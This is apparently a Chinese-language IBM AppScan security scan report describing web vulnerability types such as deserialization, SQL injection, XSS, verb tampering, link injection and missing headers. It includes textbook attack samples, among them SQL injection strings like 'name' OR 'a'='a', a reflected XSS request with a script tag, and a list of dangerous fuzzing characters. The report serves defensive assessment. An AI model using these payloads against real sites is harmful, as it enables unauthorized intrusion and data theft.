测试类型:

基础结构测试

威胁分类:

操作系统命令

原因:

Web 站点上安装了没有已知补丁且易受攻击的第三方软件

安全性风险:

- 可能会阻止 Web 应用程序服务其他用户(拒绝服务)
- 可能会在 Web 服务器上运行远程命令。这通常意味着完全破坏服务器及其内容

受影响产品:

CVE:

CVE-2016-5983

CWE:

78

引用:

IBM 支持安全性公告 IBM WebSphere 可信数据反序列化

技术描述:

当 WASPostParam cookie 存在时,Websphere 应用程序服务器将反序列化数据。 反序列化(或称为"取消序列化")是相反的过程,在此过程中,序列化对象重新变换为其应用程序可以使用的格式。 攻击者可编写恶意序列化对象,其可能导致拒绝服务并有可能执行远程命令执行。

SQL 注入

测试类型:

应用程序级别测试

威胁分类:

SQL 注入

原因:

未对用户输入正确执行危险字符清理

安全性风险:

可能会查看、修改或删除数据库条目和表

受影响产品:

CWE:

89

X-Force:

8783

引用:

"Web Application Disassembly with ODBC Error Messages"(作者: David Litchfield)SQL Injection Training Module

技术描述:

该软件使用受外部影响的输入构造整个 SQL 命令或 SQL 命令的一部分,但是会错误的无害化某些特殊元素,这些元素可在所需 SQL命令发送到数据库时对其进行修改。如果在用户可控制的输入中没有对 SQL 语法充分地除去或加上引号,那么生成的 SQL 查询可能会导致将这些输入解释为 SQL 而不是普通用户数据。这可用于修改查询逻辑以绕过安全性检查,或者插入其他用于修改后端数据库的语句,也可能包括执行系统命令。

例如,假设有一个带有登录表单的 HTML 页面,该页面最终使用用户输入对数据库运行以下 SQL 查询:

SELECT * FROM accounts WHERE username='\$user' AND password='\$pass'

这两个变量(\$user 和 \$pass)包含了用户在登录表单中输入的用户凭证。因此,如果用户输入"jsmith"作为用户名,输入"Demo1234"作为密码,那么 SQL 查询将如下所示:

SELECT * FROM accounts WHERE username='jsmith' AND password='Demo1234'

但如果用户输入""(单引号)作为用户名,输入""(单引号)作为密码,那么 SQL 查询将如下所示:

```
SELECT * FROM accounts WHERE username=''' AND password='''
```

当然,这是格式错误的 SQL 查询,并将调用错误消息,而 HTTP 响应中可能会返回此错误消息。通过此类错误,攻击者会知道 SQL 注入已成功,这样攻击者就会尝试进一步的攻击媒介。利用的样本:

以下 C# 代码会动态构造并执行 SQL 代码来搜索与指定名称匹配的项。该查询将所显示的项限制为其所有者与当前已 认证用户的用户名相匹配的项。

此代码打算执行的查询如下所示:

```
SELECT * FROM items WHERE owner = AND itemname = ;
```

不过,由于该查询是通过将常量基本查询字符串和用户输入字符串进行并置来自动构造而成,因此仅当 itemName 不包含单引号字符时,查询才会正常工作。如果用户名为 wiley 的攻击者针对 itemName 输入字符串"name' OR 'a'='a",那么查询将变为以下内容:

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';
```

添加 OR 'a'='a' 条件导致 where 子句始终求值为 true,因此该查询在逻辑上将变为等价于以下更简单的查询:

```
SELECT * FROM items;
```

己解密的登录请求

TOC

测试类型:

应用程序级别测试

威胁分类:

传输层保护不足

原因:

诸如用户名、密码和信用卡号之类的敏感输入字段未经加密即进行了传递

安全性风险:

可能会窃取诸如用户名和密码等未经加密即发送了的用户登录信息

受影响产品:

CWE:

523

X-Force:

52471

引用:

金融隐私权:格拉斯-斯蒂格尔法案 健康保险可移植性和责任法案 (HIPAA) 萨班斯法案 加利福尼亚州 SB1386

技术描述:

在应用程序测试过程中,检测到将未加密的登录请求发送到服务器。由于登录过程中所使用的部分输入字段(例如:用户名、密码、电子邮件地址、社会安全号等)是个人敏感信息,因此建议通过加密连接(例如 SSL)将其发送到服务器。

任何以明文传给服务器的信息都可能被窃,稍后可用来电子欺骗身份或伪装用户。

此外,若干隐私权法规指出,用户凭证之类的敏感信息一律以加密方式传给 Web 站点。

查询中的密码参数

TOC

测试类型:

应用程序级别测试

威胁分类:

信息泄露

原因:

查询字符串中传递了敏感输入字段(例如用户名、密码和信用卡号)

安全性风险:

可能会窃取查询字符串中发送的敏感数据,例如用户名和密码

受影响产品:

CWE:

523

引用:

金融隐私权:格拉斯-斯蒂格尔法案 健康保险可移植性和责任法案 (HIPAA) 萨班斯法案 加利福尼亚州 SB1386

技术描述:

在应用程序测试过程中,检测到查询字符串中接收到密码参数。由于登录过程所用的部分输入字段(例如:用户名、密码、电子邮件地址、社会保险号码,等等)是个人敏感信息,建议将其放在请求的主体部分或加密连接(如 SSL)中来发送到服务器。任何通过查询字符串传给服务器的信息都可能被窃,稍后可用来电子欺骗身份或伪装用户。此外,若干隐私权法规指出,用户凭证之类的敏感信息一律以加密方式传给网站。

跨站点脚本编制 TOC

测试类型:

应用程序级别测试

威胁分类:

跨站点脚本编制

原因:

未对用户输入正确执行危险字符清理

安全性风险:

可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务

受影响产品:

CWE:

79

X-Force:

6784

引用:

CERT 咨询 CA-2000-02

Microsoft How To: Prevent Cross-Site Scripting Security Issues (Q252985)

Microsoft How To: Prevent Cross-Site Scripting in ASP.NET

Microsoft How To: Protect From Injection Attacks in ASP.NET

Microsoft How To: Use Regular Expressions to Constrain Input in ASP.NET

Microsoft .NET Anti-Cross Site Scripting Library

跨站点脚本编制培训模块

技术描述:

AppScan 检测到应用程序未对用户可控制的输入正确进行无害化处理,就将其放置到充当 Web 页面的输出中。这可被跨站点脚本编制攻击利用。

在以下情况下会发生跨站点脚本编制 (XSS) 脆弱性:

- [1] 不可信数据进入 Web 应用程序, 通常来自 Web 请求。
- [2] Web 应用程序动态生成了包含此不可信数据的 Web 页面。
- [3] 页面生成期间,应用程序不会禁止数据包含可由 Web 浏览器执行的内容,例如 JavaScript、HTML 标记、HTML 属性、鼠标事件、Flash 和 ActiveX。
- [4] 受害者通过 Web 浏览器访问生成的 Web 页面,该页面包含已使用不可信数据注入的恶意脚本。
- [5] 由于脚本来自 Web 服务器发送的 Web 页面,因此受害者的 Web 浏览器在 Web 服务器的域的上下文中执行恶意脚本。
- [6] 这实际违反了 Web 浏览器的同源策略的意图,该策略声明一个域中的脚本不应该能够访问其他域中的资源或运行 其他域中的代码。
- 一旦注入恶意脚本后,攻击者就能够执行各种恶意活动。攻击者可能将私有信息(例如可能包含会话信息的 cookie)从受害者的机器传输给攻击者。攻击者可能以受害者的身份将恶意请求发送到 Web 站点,如果受害者具有管理该站点的管理员特权,这可能对站点尤其危险。

网络钓鱼攻击可用于模仿可信站点,并诱导受害者输入密码,从而使攻击者能够危及受害者在该 Web 站点上的帐户。最后,脚本可利用 Web 浏览器本身中的脆弱性,可能是接管受害者的机器(有时称为"路过式入侵")。 主要有三种类型的 XSS:

类型 1: 反射的 XSS (也称为"非持久性")

服务器直接从 HTTP 请求中读取数据,并将其反射回 HTTP 响应。在发生反射的 XSS 利用情况时,攻击者会导致受害者向易受攻击的 Web 应用程序提供危险内容,然后该内容会反射回受害者并由 Web 浏览器执行。传递恶意内容的最常用机制是将其作为参数包含在公共发布或通过电子邮件直接发送给受害者的 URL 中。以此方式构造的 URL 构成了许多网络钓鱼方案的核心,攻击者借此骗取受害者的信任,使其访问指向易受攻击的站点的 URL。在站点将攻击者的内容反射回受害者之后,受害者的浏览器将执行该内容。

类型 2: 存储的 XSS (也称为"持久性")

应用程序在数据库、消息论坛、访问者日志或其他可信数据存储器中存储危险数据。在以后某个时间,危险数据会读回到应用程序并包含在动态内容中。从攻击者的角度来看,注入恶意内容的最佳位置是向许多用户或特别感兴趣的用户显示的区域。感兴趣的用户通常在应用程序中具有较高的特权,或者他们会与对攻击者有价值的敏感数据进行交互。如果其中某个用户执行恶意内容,那么攻击者就有可能能够以该用户的身份执行特权操作,或者获取对属于该用户的敏感数据的访问权。例如,攻击者可能在日志消息中注入 XSS,而管理员查看日志时可能不会正确处理该消息。类型 0:基于 DOM 的 XSS

在基于 DOM 的 XSS 中,客户机执行将 XSS 注入页面的操作;在其他类型中,注入操作由服务器执行。基于 DOM 的 XSS 中通常涉及发送到客户机的由服务器控制的可信脚本,例如,在用户提交表单之前对表单执行健全性检查的 Javascript。如果服务器提供的脚本处理用户提供的数据,然后将数据注入回 Web 页面(例如通过动态 HTML),那 么基于 DOM 的 XSS 就有可能发生。以下示例显示了在响应中返回参数值的脚本。

参数值通过使用 GET 请求发送到脚本,然后在 HTML 中嵌入的响应中返回。

[REQUEST]

GET /index.aspx?name=JSmith HTTP/1.1

[RESPONSE]
HTTP/1.1 200 OK
Server: SomeServer
Date: Sun, 01 Jan 2002 00:31:19 GMT
Content-Type: text/html

```
Accept-Ranges: bytes
Content-Length: 27

<HTML>
Hello JSmith
</HTML>
```

攻击者可能会利用类似以下情况的攻击:

```
[ATTACK REQUEST]

GET /index.aspx?name=>"'><script>alert('PWND')</script> HTTP/1.1
```

```
[ATTACK RESPONSE]
HTTP/1.1 200 OK
Server: SomeServer
Date: Sun, 01 Jan 2002 00:31:19 GMT
Content-Type: text/html
Accept-Ranges: bytes
Content-Length: 83

<HTML>
Hello >"'><script>alert('PWND')</script>
</HTML>
```

在这种情况下,JavaScript 代码将由浏览器执行(>"">部分在此处并不相关)。

使用 HTTP 动词篡改的认证旁路

TOC

测试类型:

应用程序级别测试

威胁分类:

认证不充分

原因:

Web 应用程序编程或配置不安全

安全性风险:

- 可能会升级用户特权并通过 Web 应用程序获取管理许可权
- 可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置

受影响产品:

CWE:

287

引用:

通过 HTTP 动词篡改绕过 VBAAC Http 动词篡改 - 绕过 Web 认证和授权

技术描述:

很多 web 服务器都允许使用 HTTP 方法(也称为动词)来配置访问控制,从而支持使用一种或多种方法进行访问。问题在于这些配置实现中的很多都允许访问未在访问控制规则中列出的方法,从而导致访问控制违规。利用的样本如下·

BOGUS /some_protected_resource.html HTTP/1.1 host: www.vulnerable_site.com

通过框架进行网络钓鱼

TOC

测试类型:

应用程序级别测试

威胁分类:

内容电子欺骗

原因:

未对用户输入正确执行危险字符清理

安全性风险:

可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息

受影响产品:

CWE:

79

X-Force:

52829

引用:

FTC Consumer Alert - "How Not to Get Hooked by a 'Phishing' Scam"

技术描述:

网络钓鱼是一种社会工程技巧,其中攻击者伪装成受害者可能会与其进行业务往来的合法实体,以便提示用户透露某些

机密信息(往往是认证凭证),而攻击者以后可以利用这些信息。网络钓鱼在本质上是一种信息收集形式,或者说是对信息的"渔猎"。

攻击者有可能注入含有恶意内容的 frame 或 iframe 标记。如果用户不够谨慎,就有可能浏览该标记,却意识不到自己会离开原始站点而进入恶意的站点。之后,攻击者便可以诱导用户再次登录,然后获取其登录凭证。由于伪造的站点嵌入在原始站点中,这样攻击者的网络钓鱼企图就披上了更容易让人轻信的外衣。

链接注入 (便于跨站请求伪造)

TOC

测试类型:

应用程序级别测试

威胁分类:

内容电子欺骗

原因:

未对用户输入正确执行危险字符清理

安全性风险:

- 可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
- 可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
- 可能会在 Web 服务器上上载、修改或删除 Web 页面、脚本和文件

受影响产品:

CWE:

74

X-Force:

6784

引用:

OWASP 文章

跨站点请求伪造常见问题(FAQ) 跨站点请求伪造培训模块

技术描述:

该软件使用受外部影响的输入来构造命令、数据结构或记录的全部或一部分,但未能对可能修改其解析或解释方式的元素进行无害化处理。

"链接注入"是通过在某个站点中嵌入外部站点的 URL,或者在易受攻击的站点中嵌入脚本的 URL,从而修改该站点的内容。在易受攻击的站点中嵌入 URL 后,攻击者能够将其作为发起针对其他站点(以及针对这个易受攻击的站点本身)的攻击的平台。

其中一些可能的攻击需要用户在攻击期间登录站点。通过从易受攻击的站点本身发起这些攻击,攻击者成功的可能性更高,因为用户更倾向于登录。

"链接注入"脆弱性是未对用户输入进行充分清理所导致的结果,该输入以后会在站点响应中返回给用户。这样一来,攻

击者能够将危险字符注入响应中,从而有可能嵌入 URL,以及做出其他可能的内容修改。以下是"链接注入"的示例(我们假设站点"www.vulnerable.com"有一个名为"name"的参数,用于问候用户)。下列请求: HTTP://www.vulnerable.com/greet.asp?name=John Smith 会生成下列响应:

```
<hr/>
<hr/>
<br/>
Hello, John Smith.<br/>
</BODY><br/>
</HTML>
```

然而,恶意的用户可以发送下列请求:

HTTP://www.vulnerable.com/greet.asp?name=

这会返回下列响应:

如以上示例所示,攻击者有可能导致用户浏览器向攻击者企图攻击的几乎任何站点发出自动请求。因此,"链接注入"脆弱性可用于发起几种类型的攻击:

- [-] 跨站点请求伪造
- [-] 跨站点脚本编制
- [-] 网络钓鱼

SRI 支持

测试类型:

应用程序级别测试

威胁分类:

远程文件包含

原因:

不支持子资源完整性。

安全性风险:

受影响产品:

CWE:

829

引用:

FrontPage 服务器扩展:安全考虑解释

技术描述:

来自其他域的脚本和链接标标签标记不支持完整性检查。如果包含脚本的服务出现弱点,则这一点可能被利用。、

不支持 SRI 的样本脚本元素:

支持 SRI 的样本脚本元素:

<script src="https://example.com/example-framework.js"
 integrity="sha384-Li9vy3DqF8tnTXuiaAJuML3ky+er10rcgNR/VqsVpcw+ThHmYcwiBlpbOxEbzJr7"
 crossorigin="anonymous"></script>

发现数据库错误模式

TOC

测试类型:

应用程序级别测试

威胁分类:

SQL 注入

原因:

未对用户输入正确执行危险字符清理

安全性风险:

可能会查看、修改或删除数据库条目和表

受影响产品:

CWE:

209

X-Force:

52577

引用:

"Web Application Disassembly with ODBC Error Messages" (作者: David Litchfield) SQL Injection Training Module

技术描述:

AppScan 在测试响应中发现数据库错误,该错误可能已被"SQL 注入"以外的攻击所触发。

虽然不确定,但这个错误可能表示应用程序有"SQL注入"漏洞。

若是如此,请仔细阅读下列"SQL 注入"咨询。该软件使用受外部影响的输入构造整个 SQL 命令或 SQL 命令的一部分,但是会错误的无害化某些特殊元素,这些元素可在所需 SQL命令发送到数据库时对其进行修改。如果在用户可控制的输入中没有对 SQL 语法充分地除去或加上引号,那么生成的 SQL 查询可能会导致将这些输入解释为 SQL 而不是普通用户数据。这可用于修改查询逻辑以绕过安全性检查,或者插入其他用于修改后端数据库的语句,也可能包括执行系统命令。

例如,假设有一个带有登录表单的 HTML 页面,该页面最终使用用户输入对数据库运行以下 SQL 查询:

```
SELECT * FROM accounts WHERE username='$user' AND password='$pass'
```

这两个变量(\$user 和 \$pass)包含了用户在登录表单中输入的用户凭证。因此,如果用户输入"jsmith"作为用户名,输入"Demo1234"作为密码,那么 SQL 查询将如下所示:

```
SELECT * FROM accounts WHERE username='jsmith' AND password='Demo1234'
```

但如果用户输入""(单引号)作为用户名,输入""(单引号)作为密码,那么 SQL 查询将如下所示:

```
SELECT * FROM accounts WHERE username=''' AND password='''
```

当然,这是格式错误的 SQL 查询,并将调用错误消息,而 HTTP 响应中可能会返回此错误消息。通过此类错误,攻击者会知道 SQL 注入已成功,这样攻击者就会尝试进一步的攻击媒介。利用的样本:

以下 C# 代码会动态构造并执行 SQL 代码来搜索与指定名称匹配的项。该查询将所显示的项限制为其所有者与当前已 认证用户的用户名相匹配的项。

此代码打算执行的查询如下所示:

```
SELECT * FROM items WHERE owner = AND itemname = ;
```

不过,由于该查询是通过将常量基本查询字符串和用户输入字符串进行并置来自动构造而成,因此仅当 itemName 不包含单引号字符时,查询才会正常工作。如果用户名为 wiley 的攻击者针对 itemName 输入字符串"name' OR 'a'='a",那么查询将变为以下内容:

SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';

添加 OR 'a'='a' 条件导致 where 子句始终求值为 true,因此该查询在逻辑上将变为等价于以下更简单的查询:

SELECT * FROM items;

查询中接受的主体参数

TOC

测试类型:

应用程序级别测试

威胁分类:

信息泄露

原因:

Web 应用程序编程或配置不安全

安全性风险:

- 可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置
- 可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息

受影响产品:

CWE:

200

引用:

超文本传输协议 (HTTP/1.1) 语义和内容:

GET

POST

技术描述:

GET 请求设计的目的在于查询服务器,而 POST 请求用于提交数据。但是,除了技术目的之外,攻击查询参数比攻击

主体参数更容易,因为向原始站点发送链接或在博客或注释中发布链接更容易,而且得到的结果比另一种方法更好,为了攻击带有主体参数的请求,攻击者需要创建其中包含表单的页面,当受害者访问表单时就会提交表单。 说服受害者访问他不了解的页面比让受害者访问原始站点要难很多。因此,不建议支持可到达查询字符串的主体参数。

缺少"Content-Security-Policy"头

TOC

测试类型:

应用程序级别测试

威胁分类:

信息泄露

原因:

Web 应用程序编程或配置不安全

安全性风险:

- 可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置
- 可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息

受影响产品:

CWE:

200

引用:

有用 HTTP 头的列表 内容安全策略的简介

技术描述:

"Content-Security-Policy"头设计用于修改浏览器渲染页面的方式,并因此排除各种跨站点注入,包括跨站点脚本编制。以不会阻止 web 站点的正确操作的方式正确地设置头值就非常的重要。例如,如果头设置为阻止内联 JavaScript的执行,那么 web 站点不得在其页面中使用内联 JavaScript。

缺少"X-Content-Type-Options"头

TOC

测试类型:

应用程序级别测试

威胁分类:

信息泄露

原因:

Web 应用程序编程或配置不安全

安全性风险:

- 可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置
- 可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息

受影响产品:

CWE:

200

引用:

有用 HTTP 头的列表 减小 MIME 类型安全性风险

技术描述:

"X-Content-Type-Options"头(具有"nosniff"值)可防止 IE 和 Chrome 忽略响应的内容类型。该操作可能防止在用户浏览器中执行不受信任的内容(例如用户上载的内容)(例如在恶意命名之后)。

缺少"X-XSS-Protection"头

TOC

测试类型:

应用程序级别测试

威胁分类:

信息泄露

原因:

Web 应用程序编程或配置不安全

安全性风险:

- 可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置
- 可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息

受影响产品:

CWE:

200

引用:

有用 HTTP 头的列表 IE XSS 过滤器

技术描述:

"X-XSS-Protection"头强制将跨站点脚本编制过滤器加入"启用"方式,即使用户已禁用时也是如此。该过滤器被构建到最新的 web 浏览器中(IE 8+,Chrome 4+),通常在缺省情况下已启用。虽然它并非设计为第一个选择而且仅能防御跨站点脚本编制,但它充当额外的保护层。

自动填写未对密码字段禁用的 HTML 属性

TOC

测试类型:

应用程序级别测试

威胁分类:

信息泄露

原因:

Web 应用程序编程或配置不安全

安全性风险:

可能会绕开 Web 应用程序的认证机制

受影响产品:

CWE:

522

X-Force:

85989

技术描述:

"autocomplete"属性已在 HTML5 标准中进行规范。W3C 的站点声明该属性有两种状态: "on"和"off",完全忽略时等同于设置为"on"。

该页面易受攻击,因为"input"元素的"password"字段中的"autocomplete"属性没有设置为"off"。

这可能会使未授权用户(具有授权客户机的本地访问权)能够自动填写用户名和密码字段,并因此登录站点。

过度许可的 CORS 访问测试

TOC

测试类型:

应用程序级别测试

威胁分类:

信息泄露

原因:

Web 应用程序编程或配置不安全

安全性风险:

- 可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置
- 可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息

受影响产品:

CWE:

200

引用:

启用跨源资源共享

HTML5: 过度许可的 CORS 策略

技术描述:

跨源资源共享 (CORS) 是允许 web 站点从外部站点请求资源的机制,从而避免复制资源。向外部站点授予访问权时,它们可对授予权限的站点执行各种操作,以及在这些站点上面执行 脚本。因此,除了可信站点之外,不向任何其他站点授予访问权则非常重要。

HTML 注释敏感信息泄露

TOC

测试类型:

应用程序级别测试

威胁分类:

信息泄露

原因:

程序员在 Web 页面上留下调试信息

安全性风险:

可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置

受影响产品:

CWE:

615

X-Force:

52601

引用:

WASC 威胁分类: 信息泄露

技术描述:

很多 Web 应用程序程序员使用 HTML 注释,以在需要时帮助调试应用程序。尽管添加常规注释有助于调试应用程序,但一些程序员往往会遗留重要数据(例如:与 Web 应用程序相关的文件名、旧的链接或原非供用户浏览的链接、旧的代码片段等)。

JSON 中反映了未清理的用户输入

TOC

测试类型:

应用程序级别测试

威胁分类:

跨站点脚本编制

原因:

未对用户输入正确执行危险字符清理

安全性风险:

受影响产品:

CWE:

79

X-Force:

6784

引用:

CERT Advisory CA-2000-02

Microsoft How To: Prevent Cross-Site Scripting Security Issues (Q252985)

Microsoft How To: Prevent Cross-Site Scripting in ASP.NET

Microsoft How To: Protect From Injection Attacks in ASP.NET

Microsoft How To: Use Regular Expressions to Constrain Input in ASP.NET

Microsoft .NET Anti-Cross Site Scripting Library

跨站点脚本编制培训模块

技术描述:

AppScan 检测到应用程序未对用户可控制的输入正确进行无害化处理,就将其放置到在 JSON 中提供服务的输出中。 虽然 JSON 响应未由浏览器呈现,但有可能应用程序在其他地方使用了不可

信输入,这可能导致跨站点脚本编制攻击成功。

在以下情况下会发生跨站点脚本编制 (XSS) 脆弱性: [1] 不可信数据进入 Web 应用程序,通常来自 Web 请求。

- [2] Web 应用程序动态生成了包含此不可信数据的 Web 页面。
- [3] 页面生成期间,应用程序不会禁止数据包含可由 Web 浏览器执行的内容,例如 JavaScript、HTML 标记、HTML 属 性、鼠标事件、Flash 和 ActiveX。
- [4] 受害者通过 Web 浏览器访问生成的 Web 页面,该页面包含已使用不可信数据注入的恶意脚本。
- [5] 由于脚本来自 Web 服务器发送的 Web 页面,因此受害者的 Web 浏览器在 Web 服务器的域的上下文中执行恶意脚
- [6] 这实际违反了 Web 浏览器的同源策略的意图,该策略声明一个域中的脚本不应该能够访问其他域中的资源或运行 其他域中的代码。
- 一旦注入恶意脚本后,攻击者就能够执行各种恶意活动。攻击者可能将私有信息(例如可能包含会话信息的 cookie) 从受害者的机器传输给攻击者。攻击者可能以受害者的身份将恶意请求发送到 Web 站点,如果受害者具有管理该站点 的管理员特权,这可能对站点尤其危险。

网络钓鱼攻击可用于模仿可信站点,并诱导受害者输入密码,从而使攻击者能够危及受害者在该 Web 站点上的帐户。 最后,脚本可利用 Web 浏览器本身中的脆弱性,可能是接管受害者的机器(有时称为"路过式入侵")。 主要有三种类型的 XSS:

类型 1: 反射的 XSS (也称为"非持久性")

服务器直接从 HTTP 请求中读取数据,并将其反射回 HTTP 响应。在发生反射的 XSS 利用情况时,攻击者会导致受害 者向易受攻击的 Web 应用程序提供危险内容,然后该内容会反射回受害者并由 Web 浏览器执行。传递恶意内容的最 常用机制是将其作为参数包含在公共发布或通过电子邮件直接发送给受害者的 URL 中。以此方式构造的 URL 构成了 许多网络钓鱼方案的核心,攻击者借此骗取受害者的信任,使其访问指向易受攻击的站点的 URL。在站点将攻击者的 内容反射回受害者之后,受害者的浏览器将执行该内容。

类型 2: 存储的 XSS (也称为"持久性")

应用程序在数据库、消息论坛、访问者日志或其他可信数据存储器中存储危险数据。在以后某个时间,危险数据会读回 到应用程序并包含在动态内容中。从攻击者的角度来看,注入恶意内容的最佳位置是向许多用户或特别感兴趣的用户显 示的区域。感兴趣的用户通常在应用程序中具有较高的特权,或者他们会与对攻击者有价值的敏感数据进行交互。如果 其中某个用户执行恶意内容,那么攻击者就有可能能够以该用户的身份执行特权操作,或者获取对属于该用户的敏感数 据的访问权。例如,攻击者可能在日志消息中注入 XSS,而管理员查看日志时可能不会正确处理该消息。

类型 0: 基于 DOM 的 XSS

在基于 DOM 的 XSS 中,客户机执行将 XSS 注入页面的操作,在其他类型中,注入操作由服务器执行。基于 DOM 的 XSS 中通常涉及发送到客户机的由服务器控制的可信脚本,例如,在用户提交表单之前对表单执行健全性检查的 Javascript。如果服务器提供的脚本处理用户提供的数据,然后将数据注入回 Web 页面(例如通过动态 HTML),那 么基于 DOM 的 XSS 就有可能发生。以下示例显示了在响应中返回参数值的脚本。 参数值通过使用 GET 请求发送到脚本,然后在 HTML 中嵌入的响应中返回。

[REOUEST]

GET /index.aspx?name=JSmith HTTP/1.1

HTTP/1.1 200 OK Server: SomeServer

1/12/2018 832

```
Date: Sun, 01 Jan 2002 00:31:19 GMT
Content-Type: text/html
Accept-Ranges: bytes
Content-Length: 27

<HTML>
Hello JSmith
</HTML>
```

攻击者可能会利用类似以下情况的攻击:

```
[ATTACK REQUEST]

GET /index.aspx?name=>"'><script>alert('PWND')</script> HTTP/1.1
```

```
[ATTACK RESPONSE]
HTTP/1.1 200 OK
Server: SomeServer
Date: Sun, 01 Jan 2002 00:31:19 GMT
Content-Type: text/html
Accept-Ranges: bytes
Content-Length: 83

<HTML>
Hello >"'><script>alert('PWND')</script>
</HTML>
```

在这种情况下,JavaScript 代码将由浏览器执行(>""> 部分在此处并不相关)。

发现内部 IP 泄露模式

TOC

测试类型:

应用程序级别测试

威胁分类:

信息泄露

原因:

Web 应用程序编程或配置不安全

安全性风险:

可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置

受影响产品:

CWE:

200

X-Force:

52657

技术描述:

AppScan 检测到包含内部 IP 地址的响应。 内部 IP 定义为以下 IP 范围内的 IP: 10.0.0.0 - 10.255.255.255 172.16.0.0 - 172.31.255.255 192.168.0.0 - 192.168.255.255

内部 IP 公开对于攻击者非常有价值,因为它揭示了内部网络的 IP 联网模式。获知内部网络的 IP 联网模式可能会帮助攻击者计划针对内部网络的进一步攻击。

应用程序错误

测试类型:

应用程序级别测试

威胁分类:

信息泄露

原因:

- 未对入局参数值执行适当的边界检查
- 未执行验证以确保用户输入与预期的数据类型匹配

安全性风险:

可能会收集敏感的调试信息

受影响产品:

CWE:

550

X-Force:

52502

引用:

使用单引号入侵站点的示例,可参阅"How I hacked PacketStorm (by Rain Forest Puppy), RFP's site" "Web Application Disassembly with ODBC Error Messages"(作者: David Litchfield)CERT 咨询(CA-1997-25): 清理 CGI 脚本中用户提供的数据

技术描述:

如果攻击者通过伪造包含非应用程序预期的参数或参数值的请求,来探测应用程序(如以下示例所示),那么应用程序可能会进入易受攻击的未定义状态。 攻击者可以从应用程序对该请求的响应中获取有用的信息,且可利用该信息,以找出应用程序的弱点。

例如,如果参数字段是单引号括起来的字符串(如在 ASP 脚本或 SQL 查询中),那么注入的单引号将会提前终止字符串流,从而更改脚本的正常流程/语法。

错误消息中泄露重要信息的另一个原因,是脚本编制引擎、Web 服务器或数据库配置错误。以下是一些不同的变体:

- [1] 除去参数
- [2] 除去参数值
- [3] 将参数值设置为空值
- [4] 将参数值设置为数字溢出(+/-99999999)
- [5] 将参数值设置为危险字符,如 '" \' \");
- [6] 将某字符串附加到数字参数值
- [7] 在参数名称后追加"."(点)或"[]"(尖括号)

整数溢出

测试类型:

应用程序级别测试

威胁分类:

整数溢出

原因:

- 未对入局参数值执行适当的边界检查
- 未执行验证以确保用户输入与预期的数据类型匹配

安全性风险:

可能会收集敏感的调试信息

受影响产品:

CWE:

550

引用:

使用单引号入侵站点的示例,可参阅"How I hacked PacketStorm (by Rain Forest Puppy), RFP's site" "Web Application Disassembly with ODBC Error Messages"(作者: David Litchfield)CERT 咨询(CA-1997-25): 清理 CGI 脚本中用户提供的数据

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- [5] 将参数值设置为危险字符,如'"\'\");
- [6] 将某字符串附加到数字参数值
- [7] 在参数名称后追加""(点)或"[]"(尖括号)

未分类站点的链接

TOC

测试类型:

基础结构测试

威胁分类:

恶意内容测试

原因:

不适用

安全性风险:

不适用

受影响产品:

X-Force:

87866

引用:

http://www.internetnews.com/security/article.php/3799141/Online+Trust+A+Thing+of+the+Past.htm Web 黑客事件: 植入恶意软件 合法站点携带不断增加的恶意软件部分 基于 Web 的恶意软件高达 400%,其中 68% 在合法网站上托管 合法站点是否是下一波恶意软件威胁?被分类为"恶意"的站点中 80% 为合法站点

技术描述:

该链接未列在"ISS URL 分类"数据库中。

如果您知道该链接正确的分类,那么可以将其报告给 ISS,网址为: http://filterdb.iss.net/urlcheck/